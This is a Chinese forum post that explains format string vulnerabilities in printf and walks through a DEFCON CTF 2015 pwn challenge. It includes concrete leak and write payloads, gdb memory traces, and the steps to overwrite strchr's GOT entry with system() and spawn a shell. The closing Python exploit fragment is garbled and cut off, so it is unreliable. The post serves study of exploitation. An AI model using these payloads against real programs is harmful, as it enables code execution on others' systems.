阅读:3542回复:0
二进制漏洞之——邪恶的printf
◆0 前言
本文是二进制漏洞相关的系列文章。printf有一些鲜为人知的特性,在为编码提供便利的同时,也引入了安全的问题。本文重点描述printf在漏洞利用中的一些用法,在正常的编程中不建议这么用。 ◆1 概述 printf系列函数的%$(如:%20$x)格式输出,可泄漏栈内的数据(如模块加载的基址),给攻方提供下一步所必须的信息; prinrf系列函数的%n、%hn格式输出,可修改栈中指针指向的任意可写地址(如函数向量表中函数的地址,Windows下叫IAT)。 ◆2 基础知识 通常printf的%根据在格式串中出现的顺序,依次使用栈中的地址,但是使用$可以指定特定序号的栈参数。例如: printf(%20$x, 0x100)实际输出的是第20个参数的值。尽管调用者没有提供20个参数,但是c调用格式的压栈方式,能使该代码顺利执行。 第20个参数就是call之前的[esp+4*20],如果在某次call时,[esp+4*20]固定的保存着某个关键值,该值就会泄漏给攻击者。 如果该值是镜像模块的某一地址,这个泄漏就会使ASLR(Address space layout randomization)形同虚设。 printf系列函数的%n格式在编程中并不常用。在MS的高版本的运行时库中已经不支持了,代替的是_printf_p函数,参见:https://msdn.microsoft.com/zh-cn/library/Vstudio/bt7tawza(v=vs.110).aspx 以下是printf特殊用法的一些例子: printf("%2$c,%1$cn", 'B', 'A'); //$表示使用第几个参数,输出A,Bprintf("%88c%nn", 'A', buff); //打印88个字符,前面用空格填充, //最后一个是'A',同时*(int *)buff=88。printf("%1024c%23$hnn"); //带有攻击性的做法,第01个参数对用%c, //具体是什么不关心,目标是是把第23个参数 //指向的内存的前2个字节赋值为1024。printf("%*c%hnn", 0x1234, 'A', buff); //打印0x1234个字符,前面用空格填充, //最后一个是'A',同时*(short *)buff = 0x1234。上面这行代码具体说明一下: [*]%*c 打印0x1234个字符,前面用空格填充,最后一个是'A' [*]%hn 把前面打印的字符数(0x1024)输出到buff指向的2个字节 [*]%ln 把前面打印的字符数(0x1024)输出到buff指向的4个字节 [*]%n 把前面打印的字符数(0x1024)输出到buff指向的4个字节 printf("%#dn", 0x10); //#表示输出前导符,如:16printf("%#xn", 0x10); //#表示输出前导符,如:0x10printf("%#on", 0x10); //#表示输出前导符,如:020◆3 实例片段 下面是内存的栈内存的变化情况来展示攻击的过程。 在调用printf时,执行call指令之前: (gdb) uu $eip=> 0x2a9188: call 0x2a8880 0x2a918d: lea eax,[ebx-0x1fb4] 0x2a9193: mov DWORD PTR [esp],eax此时的堆栈如下: (gdb) dd $esp0xBFFF4FE0 : BFFF501C 58601366 4049BEFE EF0F16F40xBFFF4FF0 : BFC8B039 004E6927 BFFF522C BFFF50240xBFFF5000 : BFFF5233 BFFF5026 58601366 4049BEFE0xBFFF5010 : EF0F16F4 BFC8B039 00000001 342E31350xBFFF5020 : 33313239 2D202C37 39312E30 383738320xBFFF5030 : 31253A20 25633632 68243732 3432256E0xBFFF5040 : 63363539 24383225 41416E68 002AD05E0xBFFF5050 : 002AD05C 00280000 00470048 00000006其中第一个参数BFFF501C,就是攻击字符串,从以下代码可以看到,目标地址是第27、28参数的两个地址: (gdb) db BFFF501C0xBFFF501C : 35 31 2E 34 39 32 31 33 - 37 2C 20 2D 30 2E 31 39 51.492137, -0.190xBFFF502C : 32 38 37 38 20 3A 25 31 - 32 36 63 25 32 37 24 68 2878 :%126c%27$h0xBFFF503C : 6E 25 32 34 39 35 36 63 - 25 32 38 24 68 6E 41 41 n%24956c%28$hnAA0xBFFF504C : 5E D0 2A 00 5C D0 2A 00 - 00 00 28 00 48 00 47 00 ^.*..*...(.H.G.第27个参数是002AD05E,第28个参数是002AD05C,实际上是修改002AD05C处的4个字节。 目标地址002AD05C在调用printf之前的值是009843E0: (gdb) dd ◆02AD05C◆02AD05C : 009843E0 002A89B6 00921C00 002A89D6◆02AD06C : 0099C620 002A89F6 00A07EC0 002A8A16◆02AD07C : 009EF0D0 009371C0 009EEBD0 002A8A56◆02AD08C : 00000000 002AD090 00000000 00000000地址009843E0就是函数strchr,可以查看一下: (gdb) uu ◆9843E0 0x9843e0 : push edi 0x9843e1 : mov eax,DWORD PTR [esp+0x8] 0x9843e5 : mov edx,DWORD PTR [esp+0xc] 0x9843e9 : mov dh,dl接着执行printf的调用: (gdb) nn ◆02a918d in ?? ()=> 0x2a918d: lea eax,[ebx-0x1fb4]调用printf之后,查看目标地址002AD05C的值: (gdb) dd ◆02AD05C◆02AD05C : 00946210 002A89B6 00921C00 002A89D6◆02AD06C : 0099C620 002A89F6 00A07EC0 002A8A16◆02AD07C : 009EF0D0 009371C0 009EEBD0 002A8A56◆02AD08C : 00000000 002AD090 00000000 00000000原来的009843E0变成了00946210,也就是system的地址,可以查看一下: (gdb) uu 0x946210 0x946210 : sub esp,0xc 0x946213 : mov DWORD PTR [esp+0x4],esi 0x946217 : mov esi,DWORD PTR [esp+0x10]此时对strchr的调用变成了对system的调用,随后如果攻击者发送"/bin/sh"字符串,本来由strchr处理的事情,现在变成了由system处理,从而达成了执行system("/bin/sh")的目标。 ◆4 实例分析 这里采用了DEFCON CTF 2015的一个pwn做为例子(wwtw_c3722e23150e1d5abbc1c248d99d718d)。 在wwtw前面的俄罗斯方块的剧情可nop掉,以便程序直接到我们关注的函数sub_1027()。此外,定时器也会影响调试,给nop掉以方便调试。 要攻击的目标函数流程如下: #!c++int sub_1027(){ double v0; // ST28_8@6 int result; // eax@9 int v2; // ecx@9 char *nptr; // [sp+24h] [bp-424h]@4 double v4; // [sp+30h] [bp-418h]@6 char s; // [sp+3Ch] [bp-40Ch]@2 int v6; // [sp+43Ch] [bp-Ch]@1 v6 = *MK_FP(__GS__, 20); while ( 1 ) { while ( 1 ) { printf("Coordinates: "); fflush(stdout); if ( sub_F7E(0, (int)&s, 0x3FF, 10) == -1 ) exit(-1); nptr = strchr(&s, 0x2C); if ( nptr ) break; puts("Invalid coordinates"); } v0 = atof(&s); v4 = atof(nptr + 1); printf("%f, %fn", v0, v4); if ( 51.492137 != v0 || -0.192878 != v4 ) break; printf("Coordinate "); printf(&s); printf(" is occupied by another TARDIS. Materializing there "); puts("would rip a hole in time and space. Choose again."); fflush(stdout); } printf("You safely travel to coordinates %sn", &s); result = fflush(stdout); if ( *MK_FP(__GS__, 20) != v6 ) sub_2EF0(v2, *MK_FP(__GS__, 20) ^ v6); return result;}其中sub_F7E()函数读取用户的输入,放在0x3FF长的一段内存中,从汇编码看这是一个栈上的内存,这是一个关键,如果放在堆中就很难完成攻击。 用户输入的数据在函数内经过一番处理后,printf(&s)又把用户的输入原样输出了。因此我们可以构造下面的字符串,来获取libc和程序本身的加载地址。 "51.492137, -0.192878 :%282$p:%275$p:n"相应得到的返回结果: Coordinate 51.492137, -0.192878 :0x917744:0x2a9491: is occupied by another TARDIS.Materializing there would rip a hole in time and space. Choose again.其中0x917744是libc代码段的一个固定地址,0x2a9491是程序自己代码段的一个固定地址,由于是固定的地址,因此可通过偏移修正得到加载基址: libc_base = 0x917744 - 0xc744 = 0x90b000mod_base = 0x2a9491 - 0x1491 = 0x2a8000接着进行下一步的攻击,终极目标是执行system("/bin/sh")。 这里选择替换strchr()的IAT,当然atof()也是一个不错的选择。从IDA可以知道strchr()的IAT偏移为0x505c, system()在libc中的实际偏移地址为0x3b210。结合上面得到的mod_base和libc_base可以算出攻击时system()的地址和strchr()的IAT的真实地址,而不受ASLR的限制。 system_funaddr = 0x90b000 + 0x3b210= 0x946210strchr_iataddr = 0x2a8000 + 0x505c = 0x2ad05c攻击目标进一步明确为: 替换mod_base+0x505c处的值为libc_base+0x3b210; 发送"/bin/sh",触发system("/bin/sh")。 用libformatstr可方便的生成exp,参见:https://github.com/hellman/libformatstr preload = "51.492137, -0.192878 :"prelen = len(preload) ###22###offset = ((system_funaddr >> 16 - prelen) > 16) - prelen) |
|